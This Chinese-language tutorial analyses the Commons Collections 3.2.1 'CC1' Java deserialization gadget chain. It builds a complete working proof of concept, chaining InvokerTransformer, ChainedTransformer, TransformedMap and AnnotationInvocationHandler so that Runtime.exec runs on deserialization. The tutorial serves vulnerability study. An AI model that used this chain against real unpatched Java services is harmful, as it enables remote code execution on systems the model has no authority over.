目录

CC1分析与利用

Commons Collections简介

Apache Commons Collections 是一个扩展了Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种Java 应用的开发。

环境配置

jdk版本:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了

下载链接https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

一、依赖配置

先创建一个新的maven项目,然后在文件pom.xml的中添加(这里是分析Commons Collections3.2.1版本下的一条反序列化漏洞链):

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

完成后重新加载一下即可。

二、源码配置

这个也是需要配置的,因为后面会用到jdk中的一些类,而这些类是class文件,不利于我们分析,我们需要它的源码文件。

下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击zip下载后解压,在/src/share/classes中找到sun文件,把其复制到jdk中src.zip的解压文件

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620194911.png

然后在idea中的项目结构处加载源路径

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620194956.png

链子分析

终点类

终点类就是链子的最底端调用危险函数的地方,但这也是我们入手的地方。

接口Transformaer的tranform方法:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240617171948475.png

然后看一下哪些类实现了该接口(IDEA中快捷键:ctrl+alt+b):

ChainedTransformer

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617180737.png

这个类中的transform方法起到个链式调用的作用,就是把前一次的输出当作后一次的输入。

ConstantTransformer

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617174351.png

可以看到该类是接受一个任意对象然后都返回一个常量,而该常量又是由构造函数控制的。

InvokerTransformer

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617180903.png

这个类中的transform方法实现了个任意方法调用(因为其中的变量可以由构造函数控制)。可以利用其构造恶意方法进行代码执行。

测试一下:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1test{
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        in.transform(Runtime.getRuntime());
    }
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617180327.png

可以看到能够通过调用该类的transform方法进行恶意方法调用从而命令执行。其实就是其实现了个简单的反射功能,让我们把原本的两行写成了一行。那么这个类就是终点类了。

在正常反序列化分析思路中其实就找两个点,第一个是找哪个类中的方法有调用危险方法(终点类),第二个就是重写了readObject的类(起点类),很显然这里的InvokerTransformer是终点类。

所以接下来就是看谁调用了InvokerTransformer.transform()方法,

checkSetValue()

查找一下transform()的用法(就是看哪里调用了transform()):

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617202933.png

发现 TransformedMap 类的 checkSetValue() 里使用了 valueTransformer 调用 transform(),这个 valueTransformer 看名字就非常可疑,感觉应该是可控的参数,跟进到 TransformedMap 类中,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617203540.png

看到参数valueTransformer是保护+final属性,但发现该类的构造函数可以对valueTransformer进行赋值。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617203716.png

可惜构造函数也是保护属性,只能自己调用。不要灰心继续找找看谁调用了该构造函数(有点像Rutime实例化的获得,不过其是私有属性)。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617203911.png

发现是个公有静态方法可以调用。

那么现在就是可以通过调用decorate函数来进行TransformedMap类实例化从而让valueTransformer的值等于InvokerTransformer

然后就是要调用checkSetValue() 方法来实现上面InvokerTransformer中的transform()方法,但是从上面不难发现checkSetValue()是个保护属性的函数,所以又要去找找谁调用了checkSetValue()方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617211449.png

setValue()

可以看到只有一个结果,跟进该类看看:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617211907.png

是个子类里面调用的,并且它的构造方法是保护属性,setValue方法倒是公有属性,但看来是不能直接实列化来调用setValue()方法了,

所以继续往后找,但是这里查看该方法调用结果太多了,看师傅们的文章下面这样就能直接调用到 MapEntry#setValue() 方法

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map=new HashMap();
        map.put("key","value");
        Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用
        for(Map.Entry entry : t.entrySet()){
            entry.setValue(Runtime.getRuntime());
        }
    }
}

运行结果:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619185404.png

其实当调用 setValue 方法时 entry 就已经是 abstractinputCheckedMapDecorator$MapEntry 了,这就和 Map.Entry 有关了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250214154457704.png

所以最后能够调用到 MapEntry#setvalue 方法

readObject()

但是很显然这里并不是终点链,因为还没有涉及到反序列化。还得继续向上找。最后在 AnnotationInvocationHandle 类中找到了 setvalue 的方法调用。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619190410.png

memberValue参数可控,而且发现还在readObject方法里面,这不妥妥起点类了嘛。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619192920.png

但发现这个构造方法前面没有public属性,那么就是default类型。在java中,default类型只能在本包进行调用。说明这个类只能在sun.reflect.annotation这个包下被调用。

我们要想在外部调用,需要用到反射来解决,进行构造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map=new HashMap();
        map.put("key","value");
        Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,t);
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj; 
    }
}

三个问题

当然这样是还调用不到setValue方法的,有两个if条件。而且就算调用了发现setVlaue参数是固定的,我们还根本没有把Runtime.getRuntime()这个参数传进去,而且Runtime.getRuntime()也不能进行序列化,因为Runtime没有序列化接口。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619200413.png

总结一下这里的几个问题:

、Runtime的序列化

、setValue参数的改变

、两个if条件的绕过

解决Runtime的序列化

因为Runtime是没有反序列化接口的的,所以其不能进行反序列化,但是可以把其变回原型类class,这个是存在serilize接口的:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619205805.png

在利用反射来调用其方法,下面是其反射调用的demo:

public class CC1test {
    public static void main(String[] args)throws Exception {
        Class c1=Runtime.class;
        Runtime runtime = (Runtime) c1.getMethod("getRuntime",null).invoke(null);
        c1.getMethod("exec",String.class).invoke(runtime,"calc");
	}
}

不过这种写法下面照着改InvokerTransformer.tansform调用时不好对照,所以换一种详细的写法。

public class CC1test {
    public static void main(String[] args)throws Exception {
        Class c1=Runtime.class;
        Method getruntime = c1.getMethod("getRuntime",null);
        Runtime runtime=(Runtime) getruntime.invoke(null,null);
        c1.getMethod("exec",String.class).invoke(runtime,"calc");
	}
}

然后利用InvokerTransformer.tansform来进行代替反射进行调用,因为需要InvokerTransformer.tansform来调用危险函数嘛。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1test {
    public static void main(String[] args)throws Exception {
        Method  getruntime=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
        }
}

分析构造,这里其实就可以把new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);看作是调用Runtime.classgetMethod方法,参数是("getRuntime",null)

剩下的如法炮制。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619213221.png

但是这样要一个个嵌套创建参数太麻烦了(当然也必须这么改),这里我们想起上面一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

再通俗一点讲就是上面说过的会把前一次的输出当作下一次的输入,这里transform的参数也就是上一次的输出,所以非常符合当前这种情况。

构造:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
 
new ChainedTransformer(transformers).transform(Runtime.class);

简单分析一下就是建立一个数组把刚刚transform函数前面不同的值储存起来待会循环调用。然后只需传入参数Runtime.class就行了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240619214535.png

那么解决了Runtime反序列化的问题,现在先加上反序列化的代码:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);
        
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,tmap); 
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

解决if条件

上面代码运行肯定是弹不了计算机的。看看调用setValue的地方:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620155520.png

先不说setValue()方法的参数不是我们想要的,这里还有两个if条件,第一个if是要memberType != null,先看memberType是什么:

Class<?> memberType = memberTypes.get(name);

而这里的name就是键值对中的建,memberTypes:

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这个就是注解中成员变量的名称,但是上面的Override没有成员变量。换一个注解,这里用到Target

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620161655.png

其成员变量名称是value,所以把key设为value。再次进行调试:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620161832.png

发现第二个if直接就符合条件了,顺利来到了setValue(),不过这里还是简单分析一下第二个if条件:

就是判断value是否是memberType和ExceptionProxy类型的实例,这里value传的是aaa字符串肯定实不符和。所以直接调用到了最后一步setValue方法。

解决setValue参数

到这里在理一遍思路,先把上面的代码粘下来:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);
        
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,tmap); 
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

首先是通过InvokerTransformer类的transform方法来反射调用Runtime.getRuntimeexec方法执行危险命令。

后面由于需要 Runtime 序列化,所以要利用 Runtime.class 来一步一步调用到危险函数(也就是选调用到 getRuntime 方法然后再调用到 exec 方法)所以连续用了几次 InvokerTransformer 类的 transform 方法。但是后面序列化肯定只有 Runtime.class 一个参数传进去,所以又利用了 ChainedTransformer 类。它的 transform 方法可以实现迭代调用 transform 方法,这样就只用传入 Runtime.class 就可以直接执行到最后的 calc 了(当然这是手动调用)。

然后就是利用TransformedMapcheckSetValue方法来调用ChainedTransformer类的transform,在这之前,利用TransformedMap.decorate静态方法来实现TransformedMap类的实例化主要需要调用其构造方法让参数valueTransformer的值等于ChainedTransformer,这样checkSetValue才能算是调用ChainedTransformertransform方法,

但由于这里checkSetValue是保护属性,所以又要利用MapEntry类的setValue方法来调用checkSetValue方法,由于MapEntry是个子类且其继承了Map.Entry接口可以在使用上面Map遍历的形式调用到MapEntry类的setValue方法(这是手动)

最后发现AnnotationInvocationHandler类中的readObject方法中刚好有这个Map遍历,至此到readObject就算完成了最后一个类,虽然其是defualt属性,但还是可以利用反射来达到调用。到这里只需要解决最后一个问题,就是setValue的参数问题,因为这个setValue的参数也就是最后transform的参数。

发现前面提到的类ConstantTransformer可以把接受的任何参数都返回一个常量并且常量可控。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240617174351%201.png

那么构造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Target.class,tmap); 
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

这样不管setValue是什么参数当传入到最后 ChainedTransformer.transforme时会通过ConstantTransformertransforme方法返回Runtime.class固定参数,这样最后迭代一样可以执行到calc

所以这条链也就结束了,从readObject开始可以一步一步到最后恶意命令执行。

总结

主要的函数调用就是

transform —->checkSetValue —-> setValue —-> readObject

只是其中穿插了一些其他需要解决的问题。

补充

一、除了checkValue谁还能调用transform

看了Nivia师傅的CC1确实写得深入,其中在 TransformMap 类中除了 checkValue 方法,put 方法也有调用 transform,跟进一手看看,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620225857.png

这里貌似看不出来,但是可以看到其参数key和value都被某个函数进行了赋值,跟进函数transformKey

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620230052.png

发现keyTransformer或者valueTransformer不为空就会调用其的transform方法,而且参数就是传入得key和Value,所以构造:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {
    
        Transformer trans =new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, trans);
        outerMap.put("text", Runtime.getRuntime());
        }
  }

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240620230750.png

也能成功弹计算机,只不过似乎从put函数向上找到readObjeect应该是找不到的,因为CC1中没有这条链子。不过作为本地手动调用倒是不错。而且作为联想也不错,put就是添加Map的键值嘛,和后面AnnotationInvocationHandler中看到的setValue其实很像,setValue是改变Map的键值。在AnnotationInvocationHandler中看到setValue方法时想到put方法猜测是否可以调用到危险函数。

二、上面的注释类型是什么

在上面对AnnotationInvocationHandler类进行实列化的时候代码如下:

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Target.class,tmap); 

那么这里的Target.class或者是第一次用的Override.class是什么意思呢,这里首先要看AnnotationInvocationHandler类的构造函数的参数类型:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240621141929.png

第二个很好理解,就是修饰过的Map。那么第一个是什么呢?

拷打 GPT,回答说是该对象必须是某个注解的类的 Class,那注解类又是什么呢?这个就不问 GPT 了,直接看Nivia师傅的文章:

传统实现接口的方式需要implement才行,通过注解实现一个接口可以减轻每次都要implement的繁琐。也就是下图中有@的类,位于java.lang.annotation包下:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/QQ%E6%88%AA%E5%9B%BE20240621144456.png

可以看到除了Target还有很多,当然还有些注解类在其他地方,比如一开始的Override,不过其也引入了java.lang.annotation。

所以这里的Target.class换为Repeatable.class或者其他的有成员变量的都可以

参考

https://nivi4.notion.site/Java-CommonCollections1-60b5c62c3bae4db3bba34928e02b653c

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.788.videopod.sections&vd_source=063e9a026c6d4cc539742104e84a33c1